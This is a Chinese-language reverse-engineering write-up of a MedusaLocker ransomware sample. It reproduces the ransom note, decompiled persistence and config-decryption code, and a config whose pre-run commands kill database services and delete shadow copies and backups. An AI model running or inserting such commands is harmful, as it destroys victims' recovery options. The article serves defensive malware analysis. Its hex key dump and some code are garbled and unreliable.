【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

admin 2025年2月11日19:38:15评论12 views字数 71006阅读236分41秒阅读模式

1.背景

1.1 家族介绍

MedusaLocker 家族首次于 2019 年 9 月出现,MedusaLocker 家族通常通过有漏洞的远程桌面协议(RDP)配置获取受害者设备访问权限,攻击者还经常使用电子邮件钓鱼和垃圾邮件活动——直接将勒索软件附加到电子邮件中——作为初始入侵渠道。
MedusaLocker会对受害者的数据进行加密,并在每个包含加密文件的文件夹中留下勒索信。勒索信要求受害者向特定的比特币钱包地址支付赎金。根据观察,MedusaLocker 似乎采用勒索软件即服务(RaaS)模型运营。典型的 RaaS模型包括勒索软件开发者与负责在受害者系统上部署勒索软件的附属公司。MedusaLocker的赎金支付通常会在附属公司之间分配,附属公司会获得 55% 到 60% 的赎金,剩余部分则交给开发者。

1.2 平台介绍

MedusaLocker家族提供两个暗网地址:一个是博客,另一个是聊天室。博客中留有Tox联系方式,并会公开所有受害者的信息,点击特定受害者后,可以查看其详细的泄露数据和赎金要求;聊天室则要求输入ID和联系邮箱,且支持上传一个被加密的文件进行测试。提交后,系统将为受害者生成一个独立的聊天室,供其与MedusaLocker家族进行私密交流,其他人无法查看该对话内容。

1.2.1 博客页

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

博客首页

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

数据详情页

1.2.1 聊天室页

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

加载进入聊天室

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析成功创建独立聊天室
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

独立聊天室页面

2.恶意文件基础信息

2.1 加密器基本信息

文件名 lock8.exe
编译器 Microsoft Visual C/C++(19.36.33523)[LTCG/C++]
大小 419.5 KB
操作系统 Windows(Vista)[AMD64, 64位, Console]
模式 64 位
类型 EXEC
字节序 LE
MD5 7d08b5bcfcb0170f82820785944f30fb
SHA1 854443513882ca2837d4ff30eca7143ec3e06b4d
SHA256 33ca49acd304ed65753aced17aab019143d04c59bb3082b3f74f0376bf4ef2c8

2.2 勒索信

YOUR COMPANY NETWORK HAS BEEN PENETRATED! All your important files have been encrypted! Your files are safe! Only modified. (RSA+AES) ANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE WILL PERMANENTLY CORRUPT IT. DO NOT MODIFY ENCRYPTED FILES. DO NOT RENAME ENCRYPTED FILES. No software available on internet can help you. We are the only ones able to solve your problem. We gathered highly confidential/personal data. These data are currently stored on a private server. This server will be immediately destroyed after your payment. If you decide to not pay, we will release your data to public or re-seller. So you can expect your data to be publicly available in the near future.. We only seek money and our goal is not to damage your reputation or prevent your business from running. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. [email protected] [email protected] To contact us, create a new free email account on the site: https://protonmail.com YOU DON'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE HIGHER. TOR LINK>>>>>>>>> 

3.加密后文件分析

3.1威胁分析

病毒家族 medusalocker
首次出现时间/捕获分析时间 2024/11/19 || 2025/1/14
威胁类型 勒索软件,加密病毒
加密文件扩展名 .lock8
勒索信文件名 How_to_back_files.txt
有无免费解密器?
联系邮箱 [email protected]
检测名称 Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))
感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.lock8)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

3.2.1 文件名

sierting.txt

3.2.2 具体内容

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
由于样本不加密1000字节大小以下的文件,因此手动填充测试文件增加至1000字节大小并进行加密。
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

3.2.3 加密文件名特征

加密文件名 = 原始文件名+lock8 ,例如:sierting.txt.lock8

3.2.4 加密文件结构

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

3.3 加密算法

文件加密使用了AES-ECB加密算法,对加密文件的AES密钥,采用了RSA加密。

3.3.1 AES密钥生成

KEY

通过调用CryptGenRandom函数生成密钥

3.3.2 RSA密钥生成

内置公钥:

内置rsa公钥如下
BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHXZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox99fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKEim/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRqu0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830

加密aeskey的rsa公钥和私钥

调用API函数CryptGenKey生成密钥对。

3.3.3 加密流程

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

3.3.4 程序执行流程

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

4. 逆向分析

4.1 加密器逆向分析

4.1.1 初始化配置

创建作业对象
 printf_0((char *)L"[-] Context initialize...n");
  JobObjectW = CreateJobObjectW(0LL, 0LL);
  hJob = JobObjectW;
  if ( JobObjectW )
  {
    JobObjectInformation = 0;
    v1 = 0.0;
    v45 = 0LL;
    v46 = 0LL;
    v47 = 0LL;
    v48 = 0LL;
    v49 = 0LL;
    v50 = 0LL;
    v51 = 0LL;
    v52 = 0LL;
    v53 = 0LL;
    v54 = 0;
    HIDWORD(v45) = 0x2000;
    if ( !SetInformationJobObject(JobObjectW, JobObjectExtendedLimitInformation, &JobObjectInformation, 0x90u) )
    {
      GetLastError();
      printf_0((char *)L"[!] SetInformationJobObject failed 0x%Xn");
      return 0;
    }
  }
  else
  {
    v1 = printf_0((char *)L"[!] Job object not createdn");
  }
加载资源
// Hidden C++ exception states: #wind=1
__int64 __fastcall load_resource(__int64 a1, __int64 a2, const WCHAR **a3)
{
  const WCHAR *v4; // rsi
  HMODULE ModuleHandleW; // rax
  HMODULE v6; // rbx
  HRSRC ResourceW; // rax
  HRSRC v8; // rdi
  HGLOBAL Resource; // rax
  const void *v10; // rbp
  DWORD v11; // eax
  __int64 v12; // rbx
  __int64 v13; // rsi
  _BYTE *v14; // rdi
  _BYTE *v15; // r15
  size_t v16; // r15
  char *v17; // rbx
  _BYTE *v18; // rax
  void *Src[2]; // [rsp+28h] [rbp-30h] BYREF
  __int64 v21; // [rsp+38h] [rbp-20h]

  v4 = *a3;
  printf_0((char *)L"[-] Get resource with id %i and type %s...n");
  ModuleHandleW = GetModuleHandleW(0LL);
  v6 = ModuleHandleW;
  if ( ModuleHandleW
    && (ResourceW = FindResourceW(ModuleHandleW, (LPCWSTR)0x65, v4), (v8 = ResourceW) != 0LL)
    && (Resource = LoadResource(v6, ResourceW)) != 0LL
    && (v10 = LockResource(Resource)) != 0LL )
  {
    v11 = SizeofResource(v6, v8);
    v12 = v11;
    *(_OWORD *)Src = 0LL;
    v13 = 0LL;
    v21 = 0LL;
    if ( v11 )
    {
      alloc_memory(Src, v11);
      v14 = Src[0];
      memset(Src[0], 0, (unsigned int)v12);
      v15 = &v14[v12];
      Src[1] = &v14[v12];
      v13 = v21;
    }
    else
    {
      v15 = Src[1];
      v14 = Src[0];
    }
    v16 = v15 - v14;
    memcpy(v14, v10, v16);
    *(_BYTE *)a1 = 1;
    *(_QWORD *)(a1 + 8) = 0LL;
    *(_QWORD *)(a1 + 16) = 0LL;
    *(_QWORD *)(a1 + 24) = 0LL;
    if ( v16 )
    {
      if ( v16 > 0x7FFFFFFFFFFFFFFFLL )
        unknown_libname_6();
      alloc_memory((_QWORD *)(a1 + 8), v16);
      v17 = *(char **)(a1 + 8);
      memcpy(v17, v14, v16);
      *(_QWORD *)(a1 + 16) = &v17[v16];
    }
    if ( v14 )
    {
      v18 = v14;
      if ( (unsigned __int64)(v13 - (_QWORD)v14) >= 0x1000 )
      {
        v14 = (_BYTE *)*((_QWORD *)v14 - 1);
        if ( (unsigned __int64)(v18 - v14 - 8) > 0x1F )
          invalid_parameter_noinfo_noreturn();
      }
      j_j_free(v14);
    }
  }
  else
  {
    printf_0((char *)L"[!] Resource with id %i and type %s not foundn");
    *(_BYTE *)a1 = 0;
    *(_QWORD *)(a1 + 8) = 0LL;
    *(_QWORD *)(a1 + 16) = 0LL;
    *(_QWORD *)(a1 + 24) = 0LL;
  }
  return a1;
}
自解密生成配置信息
  LODWORD(v145) = 0;
  LODWORD(v144) = 0;
  printf_0((char *)L"[-] Load settings from resource...n");
  v123 = *(_OWORD *)get_length(&v126, L"SETTINGS");
  load_resource((__int64)v139, v1, (const WCHAR **)&v123);
  if ( !v139[0] )
  {
    v6 = 0;
    v3 = Block[0];
    goto LABEL_180;
  }
  *(_QWORD *)&v123 = "PUTINHUILO1337";
  *((_QWORD *)&v123 + 1) = 14LL;
  v129 = v123;
  v2 = xor_data((void **)&pExceptionObject, (__int64)Block, (__int64 *)&v129);
  move_0(Block, v2);
debug055:00000223EA917340 aBchiperdrivesT db '{',0Ah              ; DATA XREF: Stack[00000A50]:00000062440FEA90↑o
debug055:00000223EA917342 db '"bChiperDrives": true,',0Ah
debug055:00000223EA917359 db '"bHideConsole": false,',0Ah
debug055:00000223EA917370 db '"bRemoveRecycle": true,',0Ah
debug055:00000223EA917388 db '"bThreadPool": false,',0Ah
debug055:00000223EA91739E db '"nEncryptionBlockBytes": 750016,',0Ah
debug055:00000223EA9173BF db '"nEncryptionLimitBytes": 2780352,',0Ah
debug055:00000223EA9173E1 db '"nEncryptionSkipBytes": 250048,',0Ah
debug055:00000223EA917401 db '"nEncryptionType": 1,',0Ah
debug055:00000223EA917417 db '"nEncryptionTypeIO": 0,',0Ah
debug055:00000223EA91742F db '"nThreads": 0,',0Ah
debug055:00000223EA91743E db '"sEncryptedFileExtension": ".lock8",',0Ah
debug055:00000223EA917463 db '"sMasterPublicKey": "BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHX'
debug055:00000223EA9174A4 db 'ZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4'
debug055:00000223EA9174E5 db 'Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox9'
debug055:00000223EA917526 db '9fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKE'
debug055:00000223EA917567 db 'im/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRq'
debug055:00000223EA9175A8 db 'u0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830"'
debug055:00000223EA9175E9 db ',',0Ah
debug055:00000223EA9175EB db '"sRequirementsData": "  YOUR COMPANY NETWORK HAS BEEN PENETRATED!'
debug055:00000223EA91762C db 'nn    All your important files have been encrypted!nn        '
debug055:00000223EA91766D db '     Your files are safe! Only modified. (RSA+AES)nn  ANY ATTEM'
debug055:00000223EA9176AE db 'PT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWAREn  WILL PERMAN'
debug055:00000223EA9176EF db 'ENTLY CORRUPT IT.n  DO NOT MODIFY ENCRYPTED FILES.n  DO NOT REN'
debug055:00000223EA917730 db 'AME ENCRYPTED FILES.nn  No software available on internet can h'
debug055:00000223EA917771 db 'elp you. We are the only ones able ton  solve your problem.nn '
debug055:00000223EA9177B2 db ' We gathered highly confidential/personal data. These data are cu'
debug055:00000223EA9177F3 db 'rrently stored onn  a private server. This server will be immedi'
debug055:00000223EA917834 db 'ately destroyed after your payment.n  If you decide to not pay, '
debug055:00000223EA917875 db 'we will release your data to public or re-seller.n  So you can e'
debug055:00000223EA9178B6 db 'xpect your data to be publicly available in the near future..nn'
debug055:00000223EA9178F7 db 'n  We only seek money and our goal is not to damage your reputat'
debug055:00000223EA917938 db 'ion or preventn  your business from running.nn  You will can s'
debug055:00000223EA917979 db 'end us 2-3 non-important files and we will decrypt it for freen '
debug055:00000223EA9179BA db ' to prove we are able to give your files back.n  pomocit07@kanze'
debug055:00000223EA9179FB db 'nsei.topn  [email protected]  To contact us, crea'
debug055:00000223EA917A3C db 'te a new free email account on the site: https://protonmail.comn'
debug055:00000223EA917A7D db 'nn   YOU DON',27h,'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE '
debug055:00000223EA917AB8 db 'HIGHER.nn   TOR LINK>>>>>>>>>  qd7pcafncosqfqu3ha6fcx4h6sr7tzwa'
debug055:00000223EA917B1C db '"sRequirementsFilename": "How_to_back_files.txt",',0Ah
debug055:00000223EA917B4E db '"vecFullEncryptionExtensions": [],',0Ah
debug055:00000223EA917B71 db '"vecPostRunCommands": [],',0Ah
debug055:00000223EA917B8B db '"vecPreRunCommands": [',0Ah
debug055:00000223EA917BA2 db '"rem Kill "SQL"",',0Ah
debug055:00000223EA917BB6 db '"taskkill -f -im sqlbrowser.exe",',0Ah
debug055:00000223EA917BD8 db '"taskkill -f -im sql writer.exe",',0Ah
debug055:00000223EA917BFA db '"taskkill -f -im sqlserv.exe",',0Ah
debug055:00000223EA917C19 db '"taskkill -f -im msmdsrv.exe",',0Ah
debug055:00000223EA917C38 db '"taskkill -f -im MsDtsSrvr.exe",',0Ah
debug055:00000223EA917C59 db '"taskkill -f -im sqlceip.exe",',0Ah
debug055:00000223EA917C78 db '"taskkill -f -im fdlauncher.exe",',0Ah
debug055:00000223EA917C9A db '"taskkill -f -im Ssms.exe",',0Ah
debug055:00000223EA917CB6 db '"taskkill -f -im SQLAGENT.EXE",',0Ah
debug055:00000223EA917CD6 db '"taskkill -f -im fdhost.exe",',0Ah
debug055:00000223EA917CF4 db '"taskkill -f -im ReportingServicesService.exe",',0Ah
debug055:00000223EA917D24 db '"taskkill -f -im msftesql.exe",',0Ah
debug055:00000223EA917D44 db '"taskkill -f -im pg_ctl.exe",',0Ah
debug055:00000223EA917D62 db '"taskkill -f -impostgres.exe",',0Ah
debug055:00000223EA917D81 db '"net stop MSSQLServerADHelper100",',0Ah
debug055:00000223EA917DA4 db '"net stop MSSQL$ISARS",',0Ah
debug055:00000223EA917DBC db '"net stop MSSQL$MSFW",',0Ah
debug055:00000223EA917DD3 db '"net stop SQLAgent$ISARS",',0Ah
debug055:00000223EA917DEE db '"net stop SQLAgent$MSFW",',0Ah
debug055:00000223EA917E08 db '"net stop SQLBrowser",',0Ah
debug055:00000223EA917E1F db '"net stop REportServer$ISARS",',0Ah
debug055:00000223EA917E3E db '"net stop SQLWriter",',0Ah
debug055:00000223EA917E54 db '"vssadmin.exe Delete Shadows /All /Quiet",',0Ah
debug055:00000223EA917E7F db '"wbadmin delete backup -keepVersion:0 -quiet",',0Ah
debug055:00000223EA917EAE db '"wbadmin DELETE SYSTEMSTABACKUP -deleteOldest",',0Ah
debug055:00000223EA917EDE db '"wmic.exe SHADOWCOPY /nointeractive",',0Ah
debug055:00000223EA917F04 db '"bcdedit.exe /set {default} recoverynabled No",',0Ah
debug055:00000223EA917F34 db '"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"',0Ah
debug055:00000223EA917F74 db '],',0Ah
debug055:00000223EA917F77 db '"vecProgramFilesPath": [',0Ah
debug055:00000223EA917F90 db '"\Microsoft SQL Server\",',0Ah
debug055:00000223EA917FAC db '"\Microsoft SQL Server Management Studio 18\"',0Ah
debug055:00000223EA917FDC db '],',0Ah
debug055:00000223EA917FDF db '"vecSkipFileExtensions": [',0Ah
debug055:00000223EA917FFA db '".exe",',0Ah
debug055:00000223EA918002 db '".dll",',0Ah
debug055:00000223EA91800A db '".sys",',0Ah
debug055:00000223EA918012 db '".ini",',0Ah
debug055:00000223EA91801A db '".rdp",',0Ah
debug055:00000223EA918022 db '".lnk",',0Ah
debug055:00000223EA91802A db '".bmp",',0Ah
debug055:00000223EA918032 db '".mov",',0Ah
debug055:00000223EA91803A db '".cab",',0Ah
debug055:00000223EA918042 db '".url",',0Ah
debug055:00000223EA91804A db '".vsix",',0Ah
debug055:00000223EA918053 db '".msi",',0Ah
debug055:00000223EA91805B db '".pyc",',0Ah
debug055:00000223EA918063 db '".pyd",',0Ah
debug055:00000223EA91806B db '".vdm",',0Ah
debug055:00000223EA918073 db '".json"',0Ah
debug055:00000223EA91807B db '],',0Ah
debug055:00000223EA91807E db '"vecSkipPaths": [',0Ah
debug055:00000223EA918090 db '"C:\perflogs",',0Ah
debug055:00000223EA9180A0 db '"C:\Intel",',0Ah
debug055:00000223EA9180AD db '"C:\HP",',0Ah
debug055:00000223EA9180B7 db '"C:\AMD",',0Ah
debug055:00000223EA9180C2 db '"C:\Dell",',0Ah
debug055:00000223EA9180CE db '"C:\Drivers",',0Ah
debug055:00000223EA9180DD db '"C:\inetpub",',0Ah
debug055:00000223EA9180EC db '"B:\Boot",',0Ah
debug055:00000223EA9180F8 db '"A:\Boot",',0Ah
debug055:00000223EA918104 db '"B:\EFI",',0Ah
debug055:00000223EA91810F db '"A:\EFI",',0Ah
debug055:00000223EA91811A db '"C:\ProgramData\AnyDesk",',0Ah
debug055:00000223EA918136 db '":\Boot",',0Ah
debug055:00000223EA918141 db '"\appdata\"',0Ah
debug055:00000223EA91814F db ']',0Ah,'}'
配置资源中的公钥
BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHXZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox99fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKEim/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRqu0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830
将配置资源中的公钥进行base64解码,以便后续加密使用
// Hidden C++ exception states: #wind=26
BOOL __fastcall sub_7FF6BE634AE0(const WCHAR **a1, __int64 a2)
{
  const WCHAR *v2; // rbp
  const WCHAR *v4; // rcx
  BOOL result; // eax
  BYTE *v6; // rdx
  char *v7; // rsi
  unsigned __int64 v8; // rcx
  BYTE *v9; // rax
  size_t v10; // rdi
  BOOL v11; // esi
  __int64 v12; // rbp
  BYTE *v13; // rdx
  unsigned __int64 v14; // rcx
  size_t v15; // rdi
  DWORD pcbBinary; // [rsp+60h] [rbp+8h] BYREF

  v2 = *a1;
  v4 = *a1;
  pcbBinary = 0;
  result = CryptStringToBinaryW(v4, 01u0LL, &pcbBinary, 0LL, 0LL);
  if ( !result )
    return result;
  v6 = *(BYTE **)a2;
  v7 = *(char **)(a2 + 8);
  v8 = (unsigned __int64)&v7[-*(_QWORD *)a2];
  if ( pcbBinary >= v8 )
  {
    if ( pcbBinary <= v8 )
      goto LABEL_9;
    if ( (unsigned __int64)pcbBinary > *(_QWORD *)(a2 + 16) - (_QWORD)v6 )
    {
      sub_7FF6BE635790(a2, pcbBinary);
      goto LABEL_9;
    }
    v10 = pcbBinary - v8;
    memset(v7, 0, v10);
    v9 = (BYTE *)&v7[v10];
  }
  else
  {
    v9 = &v6[pcbBinary];
  }
  *(_QWORD *)(a2 + 8) = v9;
LABEL_9:
  result = CryptStringToBinaryW(v2, 01u, *(BYTE **)a2, &pcbBinary, 0LL, 0LL);
  v11 = result;
  if ( result )
  {
    v12 = *(_QWORD *)(a2 + 8);
    v13 = *(BYTE **)a2;
    v14 = v12 - *(_QWORD *)a2;
    if ( pcbBinary >= v14 )
    {
      if ( pcbBinary > v14 )
      {
        if ( (unsigned __int64)pcbBinary <= *(_QWORD *)(a2 + 16) - (_QWORD)v13 )
        {
          v15 = pcbBinary - v14;
          memset(*(void **)(a2 + 8), 0, v15);
          *(_QWORD *)(a2 + 8) = v15 + v12;
        }
        else
        {
          sub_7FF6BE635790(a2, pcbBinary);
        }
      }
    }
    else
    {
      *(_QWORD *)(a2 + 8) = &v13[pcbBinary];
    }
    return v11;
  }
  return result;
}
得到base64解码后的公钥
06 02 00 00 00 a4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 b1 aa 82 f4 93 4f d8 2d f7 93 b8 f1 d7 66 21 19 cd 54 dc b8 f9 39 87 48 b3 cb 92 03 317 669 a9 f0 5b 0a f2 79 b2 bb 2e a2 47 f9 fb 95 07 21 388 2f c5 71 779 00 31 dd f2 31 50 e1 57 340 b5 255 64 e0 91 9f ed 48 d6 8a e7 66 44 b0 c4 476 34 8e db d0 4f 50 d1 56 cb d7 4b 50 ab bc 268 26 90 19 f9 d5 de 00 632 28 c7 df 5f c7 22 79 60 70 25 74 c6 b0 ec 96 052 24c d1 31 c1 be 11 1b d9 b8 d4 22 44 01 97 046 c9 c7 8e cd d4 ff 94 a0 8b f6 77 772 49 ce 88 a1 22 9b f9 32 4b 9f 493 072 63 cb 1a b4 b6 c1 e8 643 37 8f 27 12 27 80 87 67c fd cf e5 79 704 16 e9 796 15 e8 fc c2 1d a2 4c ef 11 04 6a bb 43d e3 d0 4c c9 bb f6 12 aa 3c fe 29 de bc 536 ca 4d cd fc 433 ab 760 17 92 a2 3f 172 f9 98 2b cf 79 ab 0b e9 dd bb 06 cf a3 cd f4

4.1.2 程序自身添加到开机启动项中(权限维持)

将程序自身添加到开机启动项中
// Hidden C++ exception states: #wind=5
void __fastcall add_startup(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  const WCHAR *v4; // rdx
  unsigned int v5; // eax
  HKEY v6; // rbx
  WCHAR *v7; // rcx
  BYTE **v8; // r9
  BYTE *v9; // rdi
  unsigned __int64 v10; // rsi
  __int64 v11; // r10
  __int64 v12; // rcx
  int v13; // r11d
  const wchar_t *v14; // rax
  __int64 v15; // r9
  wchar_t v16; // dx
  BYTE **v17; // rdx
  BYTE *v18; // rcx
  BYTE **v19; // rax
  _QWORD *v20; // rax
  __int64 v21; // r9
  __int128 v22; // xmm6
  __int128 v23; // xmm7
  BYTE *v24; // rcx
  WCHAR *v25; // rcx
  const BYTE *v26; // rcx
  const WCHAR *v27; // rdx
  unsigned int v28; // eax
  WCHAR *v29; // rcx
  BYTE *v30; // rcx
  const char *v31; // rax
  LPCWSTR lpSubKey[2]; // [rsp+50h] [rbp-D8h] BYREF
  __m128i si128; // [rsp+60h] [rbp-C8h]
  BYTE *lpData[2]; // [rsp+70h] [rbp-B8h] BYREF
  __int64 v35[2]; // [rsp+80h] [rbp-A8h]
  const std::exception *v36; // [rsp+90h] [rbp-98h] BYREF
  _BYTE pExceptionObject[40]; // [rsp+98h] [rbp-90h] BYREF
  _BYTE v38[80]; // [rsp+C0h] [rbp-68h] BYREF
  HKEY hKey; // [rsp+130h] [rbp+8h] BYREF

  *(_OWORD *)lpSubKey = 0LL;
  si128 = 0LL;
  try
  {
    copy_str(lpSubKey, L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"0x2DuLL, a4);
    hKey = 0LL;
    v4 = (const WCHAR *)lpSubKey;
    if ( si128.m128i_i64[1] > 7uLL )
      v4 = lpSubKey[0];
    v5 = RegCreateKeyExW(HKEY_CURRENT_USER, v4, 00LL, 02u0LL, &hKey, 0LL);
    if ( v5 )
    {
      error_printf(pExceptionObject, v5, "RegCreateKeyExW failed.");
      throw (winreg::RegException *)pExceptionObject;
    }
    v6 = hKey;
    if ( si128.m128i_i64[1] > 7uLL )
    {
      v7 = (WCHAR *)lpSubKey[0];
      if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
      {
        v7 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
        if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v7 - 8) > 0x1F )
          invalid_parameter_noinfo_noreturn();
      }
      j_j_free(v7);
    }
    si128 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790D0);
    LOWORD(lpSubKey[0]) = 0;
    if ( v6 )
    {
      sub_7FF6BE6221C0((__int64)lpData, (__int64)&qword_7FF6BE683D48);
      v8 = lpData;
      v9 = lpData[0];
      v10 = v35[1];
      if ( v35[1] > 7uLL )
        v8 = (BYTE **)lpData[0];
      v11 = v35[0];
      if ( v35[0] >= 4uLL )
      {
        v12 = 4LL;
        v13 = 0;
        v14 = L"\\?\";
        v15 = (char *)v8 - (char *)L"\\?\";
        while ( 1 )
        {
          v16 = *(const wchar_t *)((char *)v14 + v15);
          if ( v16 != *v14 )
            break;
          ++v14;
          if ( !--v12 )
            goto LABEL_19;
        }
        v13 = 1;
        if ( v16 < *v14 )
          v13 = -1;
LABEL_19:
        if ( !v13 )
        {
          *(_OWORD *)lpSubKey = 0LL;
          si128 = 0LL;
          v17 = lpData;
          if ( v35[1] > 7uLL )
            v17 = (BYTE **)lpData[0];
          copy_str(lpSubKey, v17 + 1, v35[0] - 4, v15);
          if ( v35[1] > 7uLL )
          {
            v18 = lpData[0];
            if ( (unsigned __int64)(2 * v35[1] + 2) >= 0x1000 )
            {
              v18 = (BYTE *)*((_QWORD *)lpData[0] - 1);
              if ( (unsigned __int64)(lpData[0] - v18 - 8) > 0x1F )
                invalid_parameter_noinfo_noreturn();
            }
            j_j_free(v18);
          }
          *(_OWORD *)lpData = *(_OWORD *)lpSubKey;
          *(__m128i *)v35 = si128;
          v10 = _mm_srli_si128(si128, 8).m128i_u64[0];
          v11 = si128.m128i_i64[0];
          v9 = (BYTE *)lpSubKey[0];
        }
      }
      if ( v11 == 0x7FFFFFFFFFFFFFFELL )
        unknown_libname_3();
      v19 = lpData;
      if ( v10 > 7 )
        v19 = (BYTE **)v9;
      sub_7FF6BE628A80(lpSubKey, 1LL, v19, v11);
      v20 = sub_7FF6BE626470(lpSubKey, L"""1uLL);
      v22 = *(_OWORD *)v20;
      v23 = *((_OWORD *)v20 + 1);
      v20[2] = 0LL;
      v20[3] = 7LL;
      *(_WORD *)v20 = 0;
      if ( v35[1] > 7uLL )
      {
        v24 = lpData[0];
        if ( (unsigned __int64)(2 * v35[1] + 2) >= 0x1000 )
        {
          v24 = (BYTE *)*((_QWORD *)lpData[0] - 1);
          if ( (unsigned __int64)(lpData[0] - v24 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v24);
      }
      *(_OWORD *)lpData = v22;
      *(_OWORD *)v35 = v23;
      if ( si128.m128i_i64[1] > 7uLL )
      {
        v25 = (WCHAR *)lpSubKey[0];
        if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
        {
          v25 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
          if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v25 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v25);
      }
      *(_OWORD *)lpSubKey = 0LL;
      si128 = 0LL;
      copy_str(lpSubKey, L"BabyLockerKZ"0xCuLL, v21);
      v26 = (const BYTE *)lpData;
      if ( v35[1] > 7uLL )
        v26 = lpData[0];
      v27 = (const WCHAR *)lpSubKey;
      if ( si128.m128i_i64[1] > 7uLL )
        v27 = lpSubKey[0];
      v28 = RegSetValueExW(v6, v27, 01u, v26, 2 * LODWORD(v35[0]) + 2);
      if ( v28 )
      {
        error_printf(v38, v28, "Cannot write string value: RegSetValueExW failed.");
        throw (winreg::RegException *)v38;
      }
      if ( si128.m128i_i64[1] > 7uLL )
      {
        v29 = (WCHAR *)lpSubKey[0];
        if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
        {
          v29 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
          if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v29 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v29);
      }
      printf("[+] Program added to autostart successfully.n");
      if ( v35[1] > 7uLL )
      {
        v30 = lpData[0];
        if ( (unsigned __int64)(2 * v35[1] + 2) >= 0x1000 )
        {
          v30 = (BYTE *)*((_QWORD *)lpData[0] - 1);
          if ( (unsigned __int64)(lpData[0] - v30 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v30);
      }
    }
    if ( v6
      && (unsigned __int64)(v6 + 0x20000000) > 5
      && v6 != HKEY_CURRENT_USER_LOCAL_SETTINGS
      && v6 != HKEY_PERFORMANCE_NLSTEXT
      && v6 != HKEY_PERFORMANCE_TEXT )
    {
      RegCloseKey(v6);
    }
  }
